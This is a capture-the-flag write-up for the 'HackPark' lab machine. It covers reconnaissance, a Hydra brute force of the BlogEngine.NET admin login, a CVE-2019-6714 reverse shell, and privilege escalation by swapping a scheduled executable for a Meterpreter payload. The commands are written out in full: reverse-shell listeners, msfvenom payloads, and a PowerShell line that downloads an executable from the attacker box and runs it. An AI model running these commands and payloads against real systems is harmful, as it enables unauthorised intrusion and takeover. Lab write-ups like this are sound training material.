Initial Reconnaissance

Starting with an Nmap scan to check for services:

nmap -sV -sC -Pn <ip>

Output (trimmed to relevant parts):

PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
| http-robots.txt: 6 disallowed entries 
| /Account/*.* /search /search.aspx /error404.aspx 
|_/archive /archive.aspx
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: hackpark | hackpark amusements
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-13T13:55:56+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: HACKPARK
|   NetBIOS_Domain_Name: HACKPARK
|   NetBIOS_Computer_Name: HACKPARK
|   DNS_Domain_Name: hackpark
|   DNS_Computer_Name: hackpark
|   Product_Version: 6.3.9600
|_  System_Time: 2025-10-13T13:55:52+00:00
| ssl-cert: Subject: commonName=hackpark
| Not valid before: 2025-10-12T13:54:35
|_Not valid after:  2026-04-13T13:54:35
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

There are 2 ports open:

  • 80/tcp — HTTP (Microsoft IIS 8.5) — a web application to explore.
  • 3389/tcp — Microsoft RDP (Remote Desktop) — note for later, not my primary target.

Observations:

  • robots.txt lists multiple disallowed entries — always check it; hidden paths often show up there.
  • http-methods flagged TRACE as potentially risky.
  • RDP returned NTLM info (Target/NetBIOS name HACKPARK) and an SSL cert for hackpark — useful for credential/domain recon.

Web enumeration

I opened the site on port 80. The homepage asked:

None

Question: What's the name of the clown displayed on the homepage? Answer: pennywise

If you've seen the movie IT or done a quick reverse-image search, the clown is Pennywise.

None

While browsing the site I clicked the burger (3-line) menu and landed on a login page.

None

I opened the login page to inspect how the form submits data.

None

Inspecting the login request

Before brute forcing, I needed to know what request the browser sends when submitting credentials. I used Inspect → Network in the browser and submitted a random credential pair (admin:admin) to capture the request. The request method was POST, and the form fields were visible in the request body.

None

Knowing the request type (POST), the form action URL, and the parameter names (including hidden fields like __VIEWSTATE / __EVENTVALIDATION) is crucial for automating a login attack.

Brute forcing the login with Hydra

With the POST request details and the __VIEWSTATE/__EVENTVALIDATION values copied from the browser capture, I ran Hydra to brute force the admin account using the rockyou.txt wordlist.

hydra -f -l admin -P /usr/share/wordlists/rockyou.txt <ip> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=nbWrkCqQ%2B1Hn%2Fgt8OwrXb%2B%2BFMX0bVJv9xbWiO3oASE6l0%2BDl73MXEP2ao2pwbsK6Jr4MzOI9cbeVU7o5WL%2BFKDPWl1RXjt5kLGmi%2F1d9biM%2Fi3jThbmDihH1A7JWIVyWFQ3lIXAOLpqdlBKHFv6dZd8XzdjcN%2FrgmGzhog7Sf0Ml3kvolr3pzU9VlhHtBqJZNJ%2FkQVxtOT%2Bc%2FxMceQklmwd%2FeiI1sb4%2B4Mv4ol44Uy4Mf9Vaw%2B6OUiBt1BZn8PQoOcFS6ul97keSrPf2jTIqUqeC1YQwwE0FU7Syl8jfviP6nsNb4aSX6ASTDZlajXjkTtFum%2Bpk3uz4%2FtNoraPjA%2FTn5DuX56Sbr4I9oGPQznIuhjc0&__EVENTVALIDATION=pKMn8W0WIp7BuOhOq9YO49%2BqkAVDl1TJjXzk%2BDzHnOyizFWE7BYkR%2Frn983R5edqA0yBYDn%2Fi7BIxrq%2FJlxoiMHPZ2UN1iFWs83YOrgnVHxJtr4R811S4kAhpj4kb6aqZ1r9F5iqUqIoj3gfQjf%2BtO7mRTdLARthnldxPEA73U3caeMM&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"

output

Hydra completed and returned a valid credential pair:

[80][http-post-form] host: <ip>  login: admin   password: 1qaz2wsx
...
1 of 1 target successfully completed, 1 valid password found

Credentials obtained: admin:1qaz2wsx

Exploitation

After a successful login I went to the Version tab and checked the app version. It showed Version: 3.3.6.0 running on BlogEngine.

None

Vulnerability research

A quick search revealed CVE:2019–6714 BlogEngine.NET 3.3.6 — Directory Traversal / Remote Code Execution. There was a public exploit on Exploit-DB (ID 46353). I downloaded the exploit:

# download public exploit from exploit-db
curl https://www.exploit-db.com/download/46353 -o exploit.cs

The exploit is a small ASP/ASPX/ASCX payload. Per the exploit instructions I edited the file to set my callback IP/port (where my listener will run) and then renamed it to PostView.ascx:

None
# rename exploit to the control file name expected by BlogEngine's theme upload
mv exploit.cs PostView.ascx

Uploading the shell

Steps I followed via the web UI:

  • Go to Posts (http://<ip>/admin/#/content/posts) and open the post "Welcome to HackPark" for editing.
None
  • From the edit toolbar click the File Manager icon.
None
  • Click + UPLOAD, choose PostView.ascx and upload it.
None
  • Close the file manager and click Save on the post.

Start a listener

Before triggering the uploaded control, I started a reverse shell listener on my attack box:

# start listener
rlwrap nc -lnvp 4444

Trigger the uploaded file

The exploit is triggered by using the theme parameter with a directory-traversal path to the App_Data/files folder where uploads are saved:

curl http://<ip>/?theme=../../App_Data/files

After visiting that URL, my listener popped:

listening on [any] 4444 ...
connect to [10.17.30.120] from (UNKNOWN) [10.201.85.175] 49251
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog

I got a shell as iis apppool\blog.

My initial netcat shell was unstable, so I generated a proper Meterpreter payload and served it to the target.

1) Generate a Windows Meterpreter EXE with msfvenom

I created a staged reverse Meterpreter executable and obfuscated it with shikata_ga_nai:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.17.30.120 LPORT=1234 -e x86/shikata_ga_nai -f exe -o test.exe

2) Start a Metasploit handler (listener)

I opened msfconsole and configured a handler to catch the Meterpreter session:

msfconsole -q

Inside msfconsole:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <vpn ip>
set LPORT 1234
run

This gets Metasploit ready to accept the incoming Meterpreter connection.

3) Host the payload with a simple HTTP server

On my attack box I served the test.exe so the Windows host could download it:

python -m http.server 8080

This serves files from the current directory over HTTP on port 8080.

4) Download the payload on the target and run it

From the compromised host (I changed to C:\Windows\Temp for convenience), I fetched the executable and executed it.

In the target shell:

cd "c:\Windows\Temp"
powershell -c wget "http://10.17.30.120:8080/test.exe" -outfile "test.exe"
test.exe

After running test.exe, my Metasploit handler received a Meterpreter session.

5) Confirm OS version

Once in, I checked the target OS to see where I landed:

meterpreter > sysinfo
Computer        : HACKPARK
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

Post-Exploitation

After getting a stable Meterpreter session, I moved into post-exploitation to find privilege escalation paths.

Grab PowerUp for automated privilege checks

I like to use PowerUp enumerate common Windows misconfigurations:

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

From the Meterpreter session I uploaded and executed it:

# upload the script to the target
upload /home/kali/PowerUp.ps1

# load the PowerShell extension and get an interactive PowerShell
load powershell
powershell_shell

# dot-source the script so its functions are available
.\PowerUp.ps1

Then I ran the automated check:

Invoke-AllChecks

The output highlighted a few interesting issues — WindowsScheduler showed modifiable service files. That's a juicy finding: if a service (or a scheduled task) executes a binary as Administrator, and the binary is replaceable, we can substitute it with our payload and gain higher privileges.

None

Locate the scheduler executable and confirm behavior

I explored the folder where the scheduler binaries live (shortened PROGRA~2\SYSTEM~1C:\Program Files (x86)\SystemScheduler):

cd "C:\Program Files (x86)\SystemScheduler\Events"
ls

From the event logs it looked like Message.exe was being executed every minute under the Administrator account. If we replace that Message.exe with our payload, it will run with Administrator privileges.

None

Build a privileged reverse shell and replace the binary

I generated a Meterpreter payload named Message.exe (so it matches the scheduled executable):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=6666 -f exe > Message.exe

On the host I renamed the original binary and uploaded my malicious Message.exe:

cd "C:\Program Files (x86)\SystemScheduler"
mv Message.exe Message.bk
upload /home/kali/Message.exe

Now the scheduler will try to run our Message.exe every minute, which should trigger a callback to our handler.

Prepare a listener

Background your current Meterpreter session if you want to keep it and reuse it later.

None

Trigger the scheduled task manually

Instead of waiting a minute, I triggered Message.exe manually from a netcat shell to get the callback immediately:

c:\windows\system32\inetsrv>cd "C:\Program Files (x86)\SystemScheduler"
C:\Program Files (x86)\SystemScheduler>Message.exe

We got a privileged Meterpreter session

My handler caught the connection and I checked the identity:

meterpreter > getuid
Server username: HACKPARK\Administrator
meterpreter >

I was now Administrator.

Capturing User Flag

meterpreter > cat "c:\users\jeff\desktop\user.txt"
759bd8af507517bcfaede78a21a73e39

Capturing Root Flag

meterpreter > cat "c:\users\Administrator\desktop\root.txt"
7e13d97f05f7ceb9881a3eb3d78d3e72

Privilege Escalation — without Metasploit (winPEAS)

To answer the previous question, I downloaded and ran winPEAS.

Download winPEAS

wget https://github.com/peass-ng/PEASS-ng/releases/download/20251017-d864f4c3/winPEAS.bat

Upload to the target

From my Meterpreter (or file-upload-capable) session I uploaded the script into the user profile for Jeff:

cd "C:\Users\jeff"
upload /home/kali/winPEAS.bat
shell
winPEAS.bat

Run winPEAS and inspect results

I executed the batch file on the target to let it enumerate common misconfigurations (weak permissions, service issues, credentials, scheduled tasks, interesting files, etc.). The output contained a timestamp showing the install/run time:

None
Install time: 8/3/2019, 10:43:23 AM
None